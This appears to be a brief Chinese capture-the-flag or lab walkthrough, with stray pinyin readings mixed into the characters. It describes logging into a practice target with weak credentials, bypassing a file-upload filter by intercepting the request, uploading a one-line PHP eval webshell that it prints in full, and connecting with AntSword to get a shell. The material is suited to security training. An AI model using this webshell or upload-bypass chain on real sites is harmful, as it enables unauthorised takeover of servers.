打開(kāi)靶場(chǎng)環(huán)境

點(diǎn)擊發(fā)現(xiàn)一個(gè)登陸框，弱口令試一下

發(fā)現(xiàn)賬號(hào)密碼為admin,password

隨便點(diǎn)擊點(diǎn)擊

Media發(fā)現(xiàn)這里可以上傳文件上傳木馬試試

<?php @eval($_POST["wjq"]); ?>

發(fā)現(xiàn)不能上傳php文件

php內(nèi)容

修改他的格式

抓包繞過(guò)一下

302就可以其實(shí)已經(jīng)寫(xiě)進(jìn)去了點(diǎn)一下4.php的view復(fù)制路徑

蟻劍遠(yuǎn)程連接

獲得shell